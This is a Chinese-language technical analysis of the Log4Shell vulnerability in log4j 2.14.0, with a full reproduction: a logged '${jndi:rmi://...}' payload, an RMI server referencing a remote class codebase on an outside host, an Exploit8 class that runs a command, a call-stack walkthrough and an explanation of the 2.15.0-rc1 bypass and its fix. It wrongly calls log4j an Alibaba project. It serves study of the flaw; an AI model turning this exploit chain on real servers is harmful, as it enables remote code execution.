log4Shell 原理分析
log4Shell 漏洞
简介
log4j 是一款 alibaba 开源的用来记录日志的 java 组件,作者为了支持记录日志的多样性,使得 log4j 支持特殊的一种语法 ${}
, 用于待定内容,根据具体的变量名称在做填充。而 ${}
这种语法支持 JNDI 这种特殊的查询方式,这就给了攻击者执行命令的可能性。我们都知道 JNDI 全程 java Naming and Directory Interface 它是一种查询协议,支持 RMI 、ldap、JDBC、DNS 等协议的查询,也是爆出过很多攻击方式。详细可以看我这篇文章
漏洞复现
依赖
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>
配置
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="[%d{yyyy-MM-dd HH:mm:ss.SSS}] [%level] - %msg%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
log4jDemo
package com.lingx5;
// 添加Log4j依赖类导入
import org.apache.logging.log4j.Logger; // 添加Logger类导入
import org.apache.logging.log4j.LogManager; // 添加LogManager类导入
public class log4jDemo {
// 声明Logger实例
private static final Logger logger = LogManager.getLogger(log4jDemo.class);
public static void main(String[] args) {
// 开启 trustURLCodebase,因为我的jdk版本较高
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
logger.info("这是info级别的日志");
logger.warn("这是warn级别的日志");
logger.error("${jndi:rmi://localhost:1099/Exploit8}");
}
}
RMIServer
package com.lingx5;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) {
try {
// 创建JNDI引用
Reference ref = new Reference("Exploit8", "Exploit8", "http://lingx5.dns.army:8000/");
// 封装Reference对象
ReferenceWrapper refWrapper = new ReferenceWrapper(ref);
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("Exploit8",refWrapper);
System.out.println("RMI registry started at 1099.");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Exploit8
public class Exploit8 {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
}
开启 RMI 服务器

开启 http 服务
运行 log4jDemo
分析
总体来说,入口主要是 org.apache.logging.log4j.core.lookup.StrSubstitutor 提供的 lookups 功能 这是 官方文档
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format 方法中 检测 ${
开头的位置
在 org.apache.logging.log4j.core.lookup.StrSubstitutor#substitute 方法里 处理字符串,并交给 org.apache.logging.log4j.core.lookup.StrSubstitutor#resolveVariable 方法
他会调用 Interpolator (代理类)的 lookup 方法
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) {
StrLookup resolver = this.getVariableResolver();
return resolver == null ? null : resolver.lookup(event, variableName);
}
拿到 JNDILookup
拿到 jndiManager,执行 lookup
后续就是 JNDI 的查询和远程类加载了
看一下完整的调用栈吧
loadClass:96, VersionHelper12 (com.sun.naming.internal)
loadClass:101, VersionHelper12 (com.sun.naming.internal)
loadClass:115, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:164, NamingManager (javax.naming.spi)
getObjectInstance:330, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:218, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:223, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:345, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:543, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:502, LoggerConfig (org.apache.logging.log4j.core.config)
log:485, LoggerConfig (org.apache.logging.log4j.core.config)
log:460, LoggerConfig (org.apache.logging.log4j.core.config)
log:82, AwaitCompletionReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2198, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2152, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2135, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2011, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:17, log4jDemo (com.lingx5)
log4j-2.15-rc1 绕过
官方在爆出 log4shell 漏洞后,更新了 相对安全的版本 log4j-2.15.0-rc1,
改变了 org.apache.logging.log4j.core.pattern.MessagePatternConverter 类对 loadNoLookups 方法
在 log4j-2.14.0
中,是 loadNoLookups
private int loadNoLookups(final String[] options) {
if (options != null) {
for (int i = 0; i < options.length; i++) {
final String option = options[i];
// NOLOOKUPS 是一个常量,假设其值为 "nolookups" 或类似的字符串
if (NOLOOKUPS.equalsIgnoreCase(option)) {
return i; // 返回找到 "nolookups" 选项的索引
}
}
}
return -1; // 没有找到或 options 为 null,返回 -1
}
在 log4j-2.15.0-rc1
改为了 loadLookups 静态方法
private static boolean loadLookups(final String[] options) {
if (options != null) {
// var1, var2, var3 是中间变量,功能上等同于直接使用 options 和 i
String[] var1 = options;
int var2 = options.length;
for(int var3 = 0; var3 < var2; ++var3) {
String option = var1[var3];
// 直接与字符串 "lookups" 比较
if (("lookups").equalsIgnoreCase(option)) {
return true; // 找到 "lookups" 选项,返回 true
}
}
}
return false; // 没有找到或 options 为 null,返回 false
}
从方法的命名中,我们也不难看出 log4j-2.14.0
默认开启 lookups 功能,而 log4j-2.15.0-rc1
改为了默认关闭
同时在MessagePatternConverter 添加了内部类(都继承了MessagePatternConverter )
private static final class SimpleMessagePatternConverter extends MessagePatternConverter
private static final class FormattedMessagePatternConverter extends MessagePatternConverter
private static final class LookupMessagePatternConverter extends MessagePatternConverter
private static final class RenderingPatternConverter extends MessagePatternConverter
且各自都实现了 format 方法,而在 MessagePatternConverter 初始化时,就检测了 lookups 功能是否开启
public static MessagePatternConverter newInstance(final Configuration config, final String[] options) {
// 检测 lookups是否 开启
boolean lookups = loadLookups(options);
String[] formats = withoutLookupOptions(options);
TextRenderer textRenderer = loadMessageRenderer(formats);
// 默认使用 FormattedMessagePatternConverter 或 SimpleMessagePatternConverter
MessagePatternConverter result = (MessagePatternConverter)(formats != null && formats.length != 0 ? new FormattedMessagePatternConverter(formats) : MessagePatternConverter.SimpleMessagePatternConverter.INSTANCE);
// lookups 开启 才封装为具有lookup能力的LookupMessagePatternConverter
if (lookups && config != null) {
result = new LookupMessagePatternConverter(result, config);
}
if (textRenderer != null) {
result = new RenderingPatternConverter(result, textRenderer);
}
return result;
}
到这里,我们要想实现绕过,肯定是要开启 lookups 功能的
导致绕过的关键
在 JndiManager.java 中做了 校验,但可以通过异常来进行绕过
也就是说 在 rc1 中 catch 捕获到异常,但是没有return 掉,导致最后的 return (T) this.context.lookup(name);
还是会执行
我们只需要 在 url 中添加空格字符,就可以利用异常来绕过
修复
在 2.15-rc2 中 添加了 return null;
语句,绕过被修复了 ,在 2.16.0-rc1 版本中,Message Lookups 被彻底删除,log4shell 也就落下了帷幕。